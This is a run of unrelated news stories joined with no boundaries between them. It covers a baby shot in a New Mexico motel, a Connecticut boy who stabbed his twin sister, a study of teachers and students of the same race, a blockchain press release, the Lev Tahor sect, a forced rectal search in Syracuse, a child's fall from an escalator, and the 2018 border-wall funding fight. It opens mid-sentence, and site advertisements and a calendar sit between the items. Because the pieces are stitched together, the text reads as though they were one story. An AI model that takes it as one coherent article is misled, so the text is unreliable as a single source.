gun after the December shooting. He was charged with aggravated assault with deadly weapon, child abuse, shooting from a motor vehicle and tampering with evidence in October during a separate incident Shayanne Nelson, 18, (pictured above in happier times) said she 'didn't know a gun was in the room and it may have been left by a prior occupant' 'Shayanne was trying to break up with him,' Shanna said in an interview. 'He got mad and shot at the (car's) floorboard.' Bitsilly was charged with aggravated assault with deadly weapon, child abuse, shooting from a motor vehicle and tampering with evidence, court records said. He has again been charged for tampering with evidence after a 43-year-old former army medic gave his account of the incident. Casey Franchot was eating at a Taco Bell when he heard: 'My baby's been shot! My baby's been shot!' Franchot dropped his food and dashed across the busy historic Route 66 highway in Gallup, New Mexico to the Zia Motel to investigate. He found Nelson holding an infant in a blood-soaked blanket but as he worked to stop the baby from choking on her own blood he claims he saw Bitsilly wiping the gun with a towel. Police said the toddler of Nelson, 18, (pictured on the left) accidentally shot the baby girl in the face while Nelson and Bitsilly, 21, (pictured on the right) were in a motel shower 'I was also prepared to grab the baby and roll on the room for cover in case he started shooting,' Franchot said. According to the witness, the young boy stood on the passenger seat wearing only a diaper despite freezing temperatures outside and a frantic Nelson kept punching her car and crying. Franchot then jumped in a police vehicle to rush the baby to Gallup Indian Medical Center. On the way, the officer warned Franchot every time they approached a bump, Franchot said. Gallup Police Officer Darius Johnson told The Associated Press in an interview Wednesday that the 8-month-old girl now was being treated at an Albuquerque hospital and is in an induced coma. Nelson and Bitsilly had been dating off and on since Shayanne's fiance - and the father of her two children - was killed in a car accident last year, Shanna Nelson said. The Zia Motel in Gallup, New Mexico where a witness heard Nelson screaming her baby had been shot She added he was often emotionally and physically abusive but an emotionally depleted Nelson, who regularly found herself with no place to stay, returned to Bitsilly for comfort and out of fear. During a court appearance Wednesday, Shayanne walked into court and waved to her sister and her niece. When McKinley County Magistrate Judge Robert Baca announced he was keeping her bond at $20,000, she threw her head back. 'She doesn't have $2,000 to get out,' her sister said. 'None of us do.' Bitsilly stood motionless as lawyers agreed to postpone the preliminary hearing until January 9 thanks to new video evidence. As police escorted Shayanne out, her tearful sister yelled, 'We love you, Shayanne!' The young mother didn't look back. Police were told Nelson's child found the gun and accidentally fired it, hitting the baby in the face. According to a criminal complaint, Nelson said she didn't know a gun was in the room, and it may have been left by a prior occupant. Nelson and Bitsilly are both facing child abuse charges. A 12-year-old Connecticut boy killed his twin sister Brigid Curtin, 12, then stabbed and injured his mom 56-year-old Janemarie Murphy (above) on Monday A heartbroken Connecticut mother is in stable condition after she was attacked by her 12-year-old son who then stabbed his twin sister to death. Government lobbyist Janemarie Murphy, 56, called police on Monday afternoon after her son launched a stabbing rampage and killed his own sister 12-year-old Brigid Curtin by wounding her in the neck and torso. The upscale West Hartford neighborhood is now grieving for the loss of the little girl in the 'unspeakable tragedy', with flowers and white ribbons placed near the home where the horrific attack took place. A vigil for Brigid is set to take place at 5.30pm on Thursday at St. Patrick-St. Anthony's where Murphy, who works at law firm Murtha Cullina, her husband Timothy Curtin, and their kids attended. Parishioners received an email on Sunday from Fr. Tom Gallagher saying there would be a prayer and healing service for the Murphy Curtin family. Murphy, a lobbyist for law firm Murtha Cullina, is in stable condition following the attack Flowers and ribbons have been laid at the entrance to Stoner Drive in West Hartford, Connecticut where the shocking murder took place One note left at the entrance to the grieving neighborhood says 'We love you Brigid' Cops flocked to the Murpy Curtin family's Christmas-decorated two-story house at 3.30pm on Monday afternoon The priest hailed the Murphy-Curtins as a 'wonderful family' and said Brigid and her brother were baptized at the church, had their first communion there, and were involved in the parish's religious programs. Gallagher remembered Brigid as a 'kind, delightful young girl' to the Hartford Courant. Students at Brigids school Sedgwick Middle School where she was in 7th grade wore blue shirts this week to honor her memory with her favorite color. Students said they drew blue hearts on their hands and arms to remember her. Flowers have also been laid at the entrance to Stoner Drive, the uphill road in the upscale area where the family live. One bouquet says: 'Rest in Peace. We love you. All of West Hartford'. The wealthy West Hartford neighborhood is now mourning the loss of 12-year-old Brigid. Her 7th grade classmates wore blue, her favorite color, in her honor this week On Thursday a medical waste truck arrived at the home. Workers exited through the garage door of the Murphy Curtin home A worker wearing protective gear pictured entering the Murphy Curtin home on Thursday Cops flocked to the scene of the two-story, Christmas-decorated home after Murphy called 911 at 3.30pm on Monday. She called dispatchers 'saying she and her daughter had been stabbed by her son', the West Hartford Police Department said in a statement. Officers found the two victims and the boy upon arriving to the scene. The boy, who has remained unnamed, was arraigned to Connecticut Children's Medical Center on a count of murder with special circumstances and first-degree assault, according to officials. Brigid and her mother were rushed to St. Francis Hospital and Medical Center in Hartford where the child died, according to ABC. The Medical Examiner ruled her death a homicide. Murphy is listed as in stable condition. According to her biography on her employer's website she is an 'expert in state and municipal government and public interest negotiations'. She formerly worked as a legislative assistant to the State Senate Majority Office and Senior Legislative Aide to the Senate President Pro Tempore of the Connecticut General Assembly. The boy was also injured in the attack. Officials say he's too young to be charged as an adult. Investigators pictured at the scene on Tuesday. The boy, who has remained unnamed, has been charged with a count of murder with special circumstances and first-degree assault for injuring his mom Detectives are now trying to piece together a motive for Monday's stabbing spree He's been remanded to the custody of Connecticut Judicial Marshals. Investigators are now trying to piece together a motive for his stabbing spree. 'This is truly an unspeakable tragedy,' family friend Chuck Coursey said at a news conference on Tuesday. West Hartford Mayor Shari Cantor released the following statement on behalf of the Murphy-Curtin family to Pix11. 'Our family, friends, and community are all suffering tonight. We are all enduring a very painful and unimaginable loss. Our family will never be the same. Our daughter was a beautiful child and we will remember forever her smilelaughterand remember her for the way she loved and lived. We thank you all for your condolences and prayers,' the statement said. 'Please understand that this loss is not contained to our family. Our children attended West Hartford schools and have so many friends that are hurting tonight as well. West Hartford is a strong community,' it added. By Guest Blogger Sasha Jones Matching students with teachers of the same race can yield positive effects for some groups of students in math and reading, according to a new study of Tennessee schoolchildren. The study examines longitudinal data, including test scores from the state-mandated TCAP exam, for Tennessee 3rd through 8th graders between the 2009-2010 and 2014-2015 school years. Overall, the sample consisted of over 400,000 student observations in reading and over 600,000 in math. Almost 14,000 teachers in about 1,600 schools were examined. The study was co-authored by Ela Joshi and Sy Doan, both doctoral candidates at Vanderbilt University, and Matthew Springer, a professor at the University of North Carolina at Chapel Hill. Although the study did not find significant effects on student test scores throughout the full sample, certain subgroups did show slight improvement as a result of having a teacher of the same race. Black elementary students scored 0.042 standard deviations higher in reading and 0.075 standard deviations higher in math than they did during years when they were assigned to a teacher of a different race. Similarly, students in the bottom-most performance quartile in math scored 0.061 standard deviations higher and students in the middle two quartiles of performance in math scored 0.044 to 0.049 standard deviations higher. The study did not find a significant relationship for white students and did not interpret the estimates for Hispanic or Asian students due to the small population of students and teachers of those races in Tennessee. Additionally, researchers examined Tennessees teacher value-added assessment system to find that black students assigned to mid-performing teachers of the same race experienced higher test scores, while students who were matched with higher- or lower-performing teachers of the same race did not. According to Joshi, the positive effects from having same-race teachers may be because students may feel less threatened in the classroom, see such teachers as role-models, or because teachers of color may be able to better employ culturally responsive teaching practices. Overall, elementary students are more influenced by having a teacher of the same race, according to the report. This may be because elementary students spend more time with their teachers, while middle schoolers often rotate to several teachers throughout the day. Also, this may be attributed to the developmental age at which elementary students are experiencing the teacher. This study supports previous research on matching students and teachers of the same race that was conducted in Florida. The fact that were seeing similar results by using data from different states ... suggests that the phenomena potentially could be transcending state borders, said Joshi. Still, Joshi encourages researchers to continue examining the effects of race-matching in other geographic areas as the context of each state may differ. Similarly, another study , which examined data from 10th grade students in Tennessee and North Carolina, found that if a black student had one black teacher by 3rd grade, he or she was 13 percent more likely to enroll in college. Students who have had two black teachers became 32 percent more likely to enroll. According to the more recent Tennessee study, while students of color represent 51 percent of the public school population, only 18 percent of teachers in that state identify as belonging to a minority group. Photo Courtesy of Getty CONTEST: Microsoft 365 Admins, sign up for free to 365 Threat Monitor. 10 Leading Blockchain Scholars Form Research Group to Advance Industry An all-star team of academic blockchain scholars across North America and Europe is pleased to announce the formation of a multi-national research organization, Insolar Research, which is poised to bridge the gap between blockchain science and real-world enterprise adoption. Insolar Research is a subsidiary of Insolar and comprises 10 leading academic blockchain scholars from institutions including York University, ETH Zurich, and Princeton University. It is currently undertaking an ambitious slate of research and proof-of-concept pilot projects that span multiple research areas, industries, and partner collaborations. Among Insolar Research's ranks is Prof. Henry Kim, co-director of York University's blockchain lab in Toronto and one of the leading academic scholars in North America, and Prof. Alexandru Butean, Senior Lecturer Professor in Computer Science and architect of the Blockchain Society in Estonia. 8 other scholars round out the team's growing membership, each contributing a mix of blockchain expertise with other industrial research specializations, such as cryptography, security, IoT, and AI/ML. "Insolar Research is pushing the boundaries of blockchain science," says Prof. Henry Kim, "more than that, it's bringing that science to real-world enterprise use, showing companies the tangible benefits of blockchain and solving the urgent hurdles they face in adopting it." In keeping with Insolar's open source values, Insolar Research will freely publish and share its findings with the world. "Insolar Research is a vital component of the Insolar ecosystem," says the company's CEO Andrey Zhulin, "It brings thought leadership and academic rigor to our technology platform and advances the frontiers of knowledge for the greater community, creating a rising tide that lifts all boats." Projects which Insolar Research is currently conducting include: Investigating how a modern society would function if blockchain technology were applied at all levels. This project closely follows EU directives for 2020 and creates the architecture, requirements, and tools necessary for public institutions and enterprises to integrate their services to achieve fairness in an unfair world. Businesses remain hesitant in their adoption of blockchain technology. SimuChain simulates how blockchain technology can impact the business processes of an enterprise organization, decreasing uncertainty and demonstrating tangible benefits. Making the case for how blockchain technology can improve supply chain provenance and food safety. This project leverages smart contracts to execute provenance tracing. A two million euro project that will create the factory of the future by using IoT products and services to optimize the interplay between humans, computers, and their environment. This project is funded by the Romanian government and its specifications were drafted following discussions with top industry leaders throughout Europe. Proposing a blockchain-enabled electricity microgrid that incentivizes the use of local, renewable energy sources to decrease greenhouse gas emissions. Investigating how blockchain technology impacts the United Nations Centre for Trade Facilitation and Electronic Business (UN/CEFACT) and how the organization can provide standardized technical specifications for the provenance and authenticity of goods. Examining how adopting blockchain technology can increase the global competitiveness of food manufacturers and exporters in Canada, especially in Ontario. Investigating how tightly coupled blockchains for different enterprise operations (e.g., Financing and Operations) can increase productivity, improve resource allocation, and minimize the risks and costs of information asymmetry in business transactions. Get This Featured White Paper: High Availability Clusters in VMware vSphere without Sacrificing Features or Flexibility You may also be interested in this white paper: Unlocking Digital Transformation with Adaptive Workspace Management Back to the article Back to the comments Calendar < December 2018 > Su Mo Tu We Th Fr Sa 25 26 27 28 29 30 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 1 2 3 4 5 A woman who escaped from an ultra-orthodox Jewish cult in Guatemala has arrived in Brooklyn and blown the whistle on its alleged 'barbaric and abusive' customs. Sara Helbrans, 32, had been a lifelong member of the Lev Tahor sect founded by her father until earlier this year. She was told her 13-year-old daughter would be forced to marry the son of a community leader. Her objections were ignored so she fled to the U.S. along with her six children. Now she is lifting the lid on the secretive group 's way of life. Sara Helbrans, 32, was a member of the Jewish ultra-orthodox Lev Tahor sect which is alleged to treat women and children in the group appallingly Helbrans says she was forced to flee from a Guatemalan village where there is child abuse and forced marriages It has led to the start of numerous custody battles and the arrest of five former community leaders, including her brother. Sara alleges the group from which she escaped, is a cult and she and her six kids are in desperate need of protection. 'I am very imminently afraid from the cult and what the children's father and other cult members may do now that we are no longer under their power and manipulation,' according to filings she submitted to a Brooklyn court. Before Sara fled, Helbrans had been a part of the cult her entire life. Her father, Shlomo Helbrans, founded the group in Jerusalem in 1987 and flourished after he moved the group to the U.S. in the early 1990s.. He drowned in a river on a trip to Mexico in 2017 according to the New York Post. The community, which believes the Jews must remain in exile, has won the admiration from some for its devoutness but others condemn it to cult-like sect Sara says the group has continually abused and tortured its members. It is accused of kidnapping and torturing children and severely restricting the lives and wellbeing of its followers. Lev Tahor is a radical strain of Hassidic Judaism that believes television and computers are bad and must be avoided. The group rejects the state of Israel because it views the Jews as a people who must remain in exile. The sect were based in Canada in 2014 but then had to flee amid allegations of child abuse and suspicions the group was carrying out underage marriages. They then headed to San Juan La Laguna in Guatemala from which they were also moved on to a different village after similar accusations. Sara went to Brooklyn with three of her six children initially, before the rest came to the U.S. Pictured, the ultra-Orthodox Jewish group resides in a village in western Guatemala There are around 230 members of the Jewish community living in the Guatemalan village Shlomo's son, Sara's brother, Nachman Helbrans, took over the leadership role along with a group of associates and by all accounts has made the cult even stricter. Despite being siblings with the new leader, when she complained about plans for her 13-year-old daughter being married-off, her complaints were not well received. Court papers allege Sara was ostracized by her community, separated from her husband, Rabbi Aron Aryeh Teller and children and ordered to perform menial tasks. 'They tortured her. She was forced to clean toilets. She wasn't allowed to talk to anyone,' said a source to the Post. Sara was finally told to leave the sect and renounce custody of her kids, according to court filings. After refusing, she then tried to gather all of her kids together in order to escape. The children had been separated and were living with different families. Sara only managed to find three of the kids, taking her 10, 8-and 5-year-old children with her - before 'running for her life'. Yante, left, and Chaim Teller came to New York but then left their mother while staying upstate. They are currently missing Several leaders of the Lev Tahor Cult werer taken into police custody on Wednesday Her three other children were initially left behind - 13-year-old Yante and two of her brothers, 12-year-old Chaim and six-year-old Duvid. The children were later located and found to be living in Mexico with their father who was detained by the authorities. Her brother Nachman and four other Lev Tahor leaders, Meyer Rosner, Chaim Yankel Rosner, Uriel Goldman and Malka were also arrested in Mexico on Wednesday in a joint operation involving the FBI and Interpol in Mexico, according to The Yeshiva World. All six children then made it to Brooklyn with their mother. However, Yante and Chaim are now missing and Sara claims they've been 'kidnapped' back by cult members in the U.S. The teens were last seen getting into a vehicle in front of the home,' the New York State Police said in a press release. 'The children are not believed to be in any imminent danger, and are believed to have traveled to New York City.' She fears the same fate awaits her other children. 'I am very worried, afraid and concerned that the father and his fellow members of the cult will try to kidnap the children and compel the children to return to the cult, where they are in danger of malnourishment, corporal punishment and forced to marry persons much older than them,' she wrote in her November 14 filing in Brooklyn Family Court. The leader of the cult, Nachman Helbrans, was arrested on Wednesday night. No charges have been filed Sara is now seeking custody of her children and an order of protection against her husband. Just as she had filed the order to obtain custody of her own children, one of Lev Tahor's leaders, Shmiel Weingarten, arrived in Brooklyn from Guatemala to file a petition on behalf of the 13-year-old girl, Yante. The order from the teen requests that she lives with her father or in Guatemala. The order also contained allegations of abuse against Sara. 'She would beat the children much more because of anger, and the house became a nightmare, until my father had no other choice but to send the children to other families from time to time,' says the petition filed in Yante's name. The father, meanwhile, denies all claims of abuse and mistreatment of children in Lev Tahor and considers the children kidnapped. One of Sara's supporters has dismissed the allegations saying the group often makes counterclaims against escapees. Torrence Jackson, 42, of Syracuse, New York, had an invasive rectum probe performed on him last year against his will in search of drugs after a routine traffic stop Police in Syracuse, New York, last year obtained a search warrant from a local judge to force doctors at a hospital to probe a man's rectum for drugs against his will. An X-ray performed earlier on the suspect, 42-year-old Torrence Jackson, had indicated that there were no drugs in his body cavity, and the invasive procedure confirmed that. Since Jackson never consented to the court-ordered scope, the hospital charged him more than $4,000, and when he refused to pay, threatened to send the bill to collections. Syracuse.com reported, based on police reports, court filings, medical records and interviews, that in October 2017, the city's police department, a judge and St Josephs Hospital Health Center's general counsel 'collaborated to sedate' Jackson 'and thread an 8-inch flexible tube into his rectum.' The incident began unfolding shortly after noon on October 16, when police pulled over Jackson at East Beard Avenue and South State Street for failing to signal a turn in time. Jackson was taken to St Joseph's Hospital Health Center after allegedly indicating that he had hidden drugs inside a body cavity Jackson was well-known to the local police force, owing to his extensive criminal record stretching back to the mid-1990s. His rap sheet, dating back to his teenage years, includes charges of resisting arrest, drug use, weapons charges and leading police on chases. During the fateful traffic stop, police officers found a baggie of marijuana on Jacksons person and the driver's seat fabric tested positive for cocaine. According to an incident report, an officer wrote that he observed Jackson raise his buttocks off the seat, which is consistent with a suspect concealing drugs in his rectum. As he was being booked into the county jail, Jackson reportedly made further indications that he had illegal narcotics stashed inside his body - a claim he now denies - and resisted officers' attempts to perform a cavity search. The situation escalated, and at 2pm, Jackson was taken to St Joseph's Hospital Health Center, where he was sedated after allegedly threatening to kill staff. Syracuse City Court Judge Rory McMahon signed a search warrant compelling doctors to insert an 8-inch tube into Jackson's rectum to search for narcotics Meanwhile, a police officer wrote out a search warrant ordering doctors to probe Jackson's rectum and headed to a judge's home for a signature. With a signed warrant in hand, the cop arrived at the hospital, but at least two doctors there initially refused to perform the procedure, known as a sigmoidoscopy, pointing out that an X-ray of the patient's abdomen showed that there was nothing in his rectum, and that the patient was refusing all interventions. Throughout his forced hospital stay, Jackson was uncooperative. He was reportedly combative, refused to ingest a laxative meant to speed up a bowel movement and refused to submit to a standard rectal exam. Armed with the signed warrant, police told doctors to perform the rectal scope, but Dr William Paolo told them, 'we would not be doing that.' After two doctors refused, the hospitals general counsel, Lowell Seifter, stepped in and told staff the warrant had to be carried out At that point, the hospitals general counsel, Lowell Seifter, stepped in. After conferring with the judge who signed the warrant, Seifter told medical staff that the warrant required them to use any means necessary to retrieve the drugs, and the patient had no right to refuse. Shortly before midnight - nearly 10 hours after Jackson first arrived at the hospital - he was put under and had the 8-inch tube inserted into his rectum. No drugs were ever found inside. Speaking from jail, where he was on unrelated charges, Jackson told the newspaper that when he woke up, he found blood in his underwear and felt 'tampered with.' He later got a bill from the hospital for $4,595.12 for the forced sigmoidoscopy, which he refused to pay. The hospital initially threatened to send the bill to a collection agency, but ultimately let it go. Jackson's drug charges were later dismissed and he pleaded guilty only to traffic violations. In August, he was arrested on felony drugs and weapons charges; that case against him is still pending. St Josephs has defended the forced rectum probe, telling the paper that its staff complies with court orders. No drugs were found inside Jackson's body, and the narcotics charges were dismissed against him This is not the first case of its kind in the US, and previous instances where suspects had invasive procedures performed on them against their will resulted in million-dollar settlements. In 2016, a hospital in El Paso, Texax, and the federal government paid $1.6million to settle a lawsuit filed by a New Mexico woman who had endured a six-hour invasive cavity search after a US Customs and Border Patrol drug-sniffing dog flagged her. In 2014, the city of Deming, New Mexico, settled with David Eckertt for the same amount stemming from a battery of probes and medical tests in search for drugs, which turned up nothing. That same year, the same El Paso hospital as in the 2016 case and the federal government agreed to pay a woman $1.1million stemming from a rectal exam, an x-ray, a vaginal exam, a CT scan and a forced observed bowel movement. A Chinese boy is in critical condition after falling from the side of a third-floor escalator at a shopping centre, according to reports. Surveillance footage shows the child, wearing a blue-and-white school uniform, climbing onto a handrail of the escalator as he tried to sit on it. The clip shows him losing balance before plunging down backwards. The boy stands on a platform of the escalator as he tries to push himself up to the handrail He loses balance and falls backwards from the escalator on the third floor in Dongguan, China There were no adults around at the time and the escalator did not appear to be working. The accident took place last Friday night at a mall in Dongguan, southern China's Guangdong province, according to Shanghai TV Station. The report did not mention which floor the boy landed on. Chinese news source Cover News reported the boy landed on the second floor before bystanders called for an ambulance. His parents and staff of the mall were also alerted However according to China's Cover News, the boy fell one storey and landed on the second floor. Eyewitnesses called for an ambulance and alerted the police. The boy's parents and staff of the shopping mall were also informed. They rushed to the scene. The boy was taken to the hospital and treated at the intensive care units, the Cover News report said. House Republicans delivered the $5 billion President Donald Trump demanded for his border wall on Thursday night but the measure is doomed in the Senate, increasing the likelihood of a government shutdown. The vote is a symbolic victory for the president and his last chance to get the money he needs before Democrats take control of the House next year. But the victory is bittersweet. While it passed the House, both sides have acknowledged it's dead-on-arrival in the Senate ahead of Friday's deadline to avert a partial government shutdown. And the lack of next steps has increased the odds that deadline won't be met. 'Everyone knows it can't pass the Senate. It's a cynical attempt, a cynical attempt to just hurt innocent people and do just what President Trump wants,' Senate Democratic Leader Chuck Schumer said Thursday night of the House measure. The president needs 60 votes to move his border wall funding through the upper chamber, which means he needs 11 Democrats to vote in favor of his signature campaign promise. House Republicans passed a measure giving President Trump the $5 billion he wants for his border wall Democratic leaders Chuck Schumer and Nancy Pelosi slammed the move Trump's border wall was funded with a 217-185 vote Democrats have vowed not to vote for it. 'The Trump temper tantrum may produce a government shutdown. It will not get him his wall,' Schumer said. Senate Republican Leader Mitch McConnell has said he will bring up the House measure for a vote in the Senate on Friday. Trump tweeted on Thursday night: 'Thank you to our GREAT Republican Members of Congress for your VOTE to fund Border Security and the Wall. The final numbers were 217-185 and many have said that the enthusiasm was greater than they have ever seen before. So proud of you all. Now on to the Senate!' He later added: Soon to be Speaker Nancy Pelosi said, last week live from the Oval Office, that the Republicans didnt have the votes for Border Security. Today the House Republicans voted and won, 217-185. Nancy does not have to apologize. All I want is GREAT BORDER SECURITY!' After its expected failure, the next steps are unclear. One option is for the House to pass the continued resolution funding the government the Senate passed Wednesday, which would keep the government open but not fund Trump's wall. The president has said he will not sign that measure. Trump has tried to turn the blame to Democrats with an accusation of playing games and politics when it comes to border security. Trump tweeted on Thursday night: 'Thank you to our GREAT Republican Members of Congress for your VOTE to fund Border Security and the Wall' Democrats shot back. 'Maybe he thinks if government shut down, he can golf more comfortably. That's not how it works. Government must work even if you're golfing for two weeks,' House Democratic Leader Nancy Pelosi said Thursday night, referring to the president's plans to spend the holidays at Mar-a-Lago. White House officials said Trump would not leave Washington D.C. if the government shuts down. Trump said Democrats were playing politics with border security. 'The fact is we need the wall. The Democrats know it. Everybody knows it. It's only a game when they say you don't need the wall,' Trump said in a pre-recorded video that was posted on his @RealDonaldTrump account Thursday evening. 'You can look at their eyes and you can say 'well they're not telling the truth.' They want to try to do anything possible to hurt us because it's politics,' he added. 'We're going to build a wall,' he noted. 'Watch what happens.' President Trump posted a video to Twitter to rail against Democrats for not supporting his wall The president accused Democrats of playing games in a video that was recorded on Wednesday but posted to his Twitter account on Thursday Trump sent GOP leaders back to Capitol Hill to scrounge up votes for his border wall on Thursday afternoon after they tried to drop it from a must-pass spending bill. They passed their first test when a procedural vote passed 221-179, setting up the successful final vote later Thursday evening. Republicans came out to support the continued resolution to fund the government that contained $5 billion for physical barrier construction, $700 million for border security, and $7.8 billion in supplemental funding for disaster relief. But the president's pressure campaign on House Democrats may be futile given the zero odds of it passing in the Senate. A measure that would keep the government open has already passed the upper chamber - only it doesn't contain funding for Trump's border wall. GOP leaders, including the House speaker and Senate majority leader, were under the impression that Trump would sign it. White House Press Secretary Sarah Sanders said of the miscommunication later that the misunderstanding was on them. 'Anybody that didn't know that the president wanted border security in any funding bill simply hasn't been paying attention,' she said during a gaggle with reporters outside the White House amid a downpour. But Schumer and Pelosi said they'd work to pass the original funding measure the Senate approved on Wednesday - that doesn't contain the $5 billion in wall funding - ahead of Friday night's deadline to stave off a partial government shutdown. Trump is putting his foot down, however, and refusing to consider a bill that doesn't give the wall funding to him. 'I've made my position very clear. Any measure that funds the government has to include border security. Has to. Not for political purposes, ' he argued during an unrelated bill signing at the Eisenhower Executive Office Building on the White House complex on Thursday, 'for our country, for the safety, for our community.' President Donald Trump sent GOP leaders back to Capitol Hill to scrounge up votes for his border wall on Thursday afternoon after they tried to drop it from a must-pass spending bill Ivanka Trump, daughter and assistant to President Donald Trump, talks to Senate Majority Leader Mitch McConnell during a bill signing at the Eisenhower Executive Office Building Trump announced to an audience that included Senate Majority Leader Mitch McConnell that is not backing down from his border wall as Republican lawmakers grumbled that the president was picking a fight he could not win. And the clocking is ticking toward Friday's deadline for a partial government shut down. Trump stood firm at an agricultural event, where he strayed from the topic at hand to explain his current thinking on a spending deal and the border wall. The president said the U.S. government is spending $275 billion on border security a year, increasing an amount in that has repeatedly debunked as substantially higher than reality. 'I am asking Congress to defend the border of our nation, for a tiny fraction, tiny fraction of the cost,' he said. 'Walls work, whether we like it or not. They work better than anything,' he contended. The president insisted that a bipartisan bill that does what he wants could pass and must pass as a matter of national security, even as GOP legislators told reporters that it couldn't and wouldn't. 'This is not merely my campaign promise, this the promise every lawmaker made. It is the solemn promise to protect and defend the United States of America, and it is our sacred obligation,' Trump said of border security. 'We have no choice.' A government shutdown over the Christmas holiday was back on the table after President Trump told House Republican leaders a few hours prior that he would not sign a bill to keep parts of the government open beyond Friday because it does not include funding for his border wall. Speaker Paul Ryan emerged from a meeting with Donald Trump at the White House to announce that he was going back to the drawing board after a presidential brow-beating that lasted more than an hour. Ryan and the GOP's second-in-command, Rep. Kevin McCarthy, told reporters awaiting an update that Trump 'informed us that he will not sign the bill' that passed in the Senate late Wednesday evening 'because of his legitimate concerns for border security.' 'We want to keep the government open, but we also want to see an agreement that protects the border,' the outgoing Republican congressman said. 'We have very serious concerns about securing our border.' McCarthy, who will replace Ryan as the top Republican in the House next year, cheerfully noted, 'We believe there's still time.' 'The president said what the Senate sent over is just kicking the ball, just kicking the can down the road,' he explained. 'We want to solve this problem we want to make sure we keep the government open, and we're gonna work to have that done and have something happen.' House Speaker Paul Ryan emerged from a meeting with Donald Trump at the White House to announce that he was going back to the drawing board after a presidential brow-beating that lasted more than an hour Kevin McCarthy, who will replace Ryan as the top Republican in the House next year, cheerfully noted, 'We believe there's still time.' The announcement had observers scratching their heads ONLY 11 MORE DAYS TO GO: Ryan burst into laughter as he walked away from reporters telling him he doesn't have the votes for a spending deal that includes a border wall Ryan is seen above arriving at the White House for crisis talks with Trump on Thursday The GOP leaders left without answering a cacophony of questions about how it planned to wrangle enough legislators for a vote with many lawmakers out of town. An average of 40 lawmakers had missed votes on Wednesday afternoon as many lame-duck legislators have avoided Capitol Hill in the wake of their losses on Election Day. Republican Whip Steve Scalise and McCarthy declined to answer multiple questions from reporters on Capitol Hill wondering whether the GOP has the votes for the president's $5 billion wall, as well. 'That sounds like a negative attitude,' Scalise said when asked if they have the numbers. Ryan avoided the main door of the Capitol outside of his speaker's office upon his return from the White House. Scalise said the House will add the $5 billion it will take to build Trump's wall to the government funding bill the Senate sent the lower chamber on Wednesday night. He also said disaster relief funds will be added to the package, perhaps in a move to sweeten the deal and help get the party votes. Democrats have made it clear they will not support the $5 billion in funding for the wall. The ball is now in House Republicans' court, and they'll spent Thursday afternoon frantically whipping their party to see if the votes are there to meet the president's demand. Lawmakers have been warned multiple votes are expected in the House and to watch the schedule for changes. The president's spokeswoman reiterated Trump's demand for a border security provision that allows him to build a wall. 'President Trump just met with Republican Members of the House. Not surprisingly, they all feel strongly about Border Security stopping the flow of drugs, stopping human trafficking, and stopping terrorism. We protect nations all over the world, but Democrats are unwilling to protect our nation. We urgently need funding for border security and that includes a wall,' Sarah Sanders said. A shutdown appeared to go from unlikely to unavoidable after a wild day of tweets from the president, who decided to go to the mat for his border wall at the eleventh hour. Trump blasted GOP leaders in a tweet after a phone conversation with Ryan, who had previously promised him he would fight for the wall after the mid-term elections. 'When I begrudgingly signed the Omnibus Bill, I was promised the Wall and Border Security by leadership. Would be done by end of year (NOW). It didn't happen! We foolishly fight for Border Security for other countries - but not for our beloved U.S.A. Not good!' Trump said. Prior to the meeting, White House Press Secretary Sarah Sanders said that Trump is still weighing his options. 'The President is having a meeting with Republican House Members at noon today. At this moment, the President does not want to go further without border security, which includes steel slats or a wall. The President is continuing to weigh his options,' she said. Trump called the House speaker during a closed-door caucus meeting and suggested he wouldn't sign a must-pass spending bill if it doesn't fund his border wall. The White House had not taken a formal position on the bill that would delay the border wall battle until Feb. 8 at that point. President Donald Trump threw a vote to keep the government open into jeopardy on Thursday as he called the House speaker during a closed-door caucus meeting and suggested in tweets that he wouldn't sign a must-pass spending bill if it doesn't fund his border wall Trump blasted GOP leaders in a tweet after a phone conversation with Paul Ryan, who had previously promised him he would fight for the wall after the mid-term elections The president sparked panic early in the morning when he said he would not sign 'any' legislation that does not have 'perfect border security' hours after the U.S. Senate passed a stop-gap spending bill that does not include money for a border wall The president sparked panic early in the morning when he said he would not sign 'any' legislation that does not have 'perfect border security' hours after the U.S. Senate passed a stop-gap spending bill that does not include money for a border wall. The bill awaits a vote in the House, where last-minute negotiations were taking place to drive up the whip count. Disaster aid and wall funding were among the propositions that were being floated in the lower chamber as add-ons. Conservatives were digging in and saying they wouldn't pass a bill, unless it includes an appropriation for the border barrier. If the bill doesn't pass or the president declines to sign it, parts of the government will close early Saturday. Trump first suggested that he could oppose the legislation, because it doesn't fund the wall, in a morning tweet. 'The Democrats, who know Steel Slats (Wall) are necessary for Border Security, are putting politics over Country,' he said. 'What they are just beginning to realize is that I will not sign any of their legislation, including infrastructure, unless it has perfect Border Security. U.S.A. WINS!' At a closed-door caucus meeting Ryan insisted that Trump would sign the bill, a Republican congressman said, only to receive a call from the president mid-way through that upended the process. It was not immediately known what was said on the call, but it caused chaos on Capitol Hill, where Ryan was about to host his final press conference as a GOP leader. Ryan abruptly cancelled his news conference minutes later after Trump smacked GOP leaders in a tweet. Nancy Pelosi, the current Democratic leader and expected House Speaker come January, called the situation a 'meltdown' as she spoke from the podium at her news conference. 'Republicans are in a state of disarray,' she said of the 'breakdown' among the ruling party. Pelosi said her members would vote for a continuing resolution to keep the government open but would not support a bill that allows the president to build a wall. 'I think we've made that clear. We'll see what they come up with,' she said. 'But in terms of wall funding, that's a non-starter. I think they know that.' Trump suggested in his first tweet of the day that he could sign the short-term spending bill now and refuse to sign any legislation in 2019 that doesn't fund the wall, including a bipartisan infrastructure package both parties hope to pass. Pelosi told reporters she thinks the president is unlikely to follow through on that threat. 'I believe the president wants to do an infrastructure bill. I don't know that he'll throw a tantrum over it when he sees what the bill might be,' she said. Trump suggested that he could oppose a bill to keep the government open because it doesn't fund the wall in a morning tweet His mixed signal followed the White House's public announcement that would accept less than $5 billion in funding for his border wall this fiscal year amid negotiations to keep the government open His mixed signals on what he would and wouldn't be willing to approve followed the White House's public announcement this week that it would be willing to accept less than $5 billion in funding for his border wall this fiscal year amid negotiations to keep the government open. The vice president reportedly told senators during a Wednesday luncheon that Trump would sign the continuing resolution, staving off a shutdown just in time for the billionaire president to jet down to his private club in Palm Beach for his annual Christmastime visit. The GOP's top vote counter, John Cornyn, told CNN that Mike Pence affirmed at a closed-press meeting that Trump would sign the bill that punts the debate over his border wall to next year. Sen. Bill Cassidy revealed on Fox News on Thursday, 'The White House was in room when the deal was originally crafted.' That bill passed in the Senate by voice vote with a boost from Democrats and had the support of Pelosi, the top-ranking Democrat in Congress, in the House of 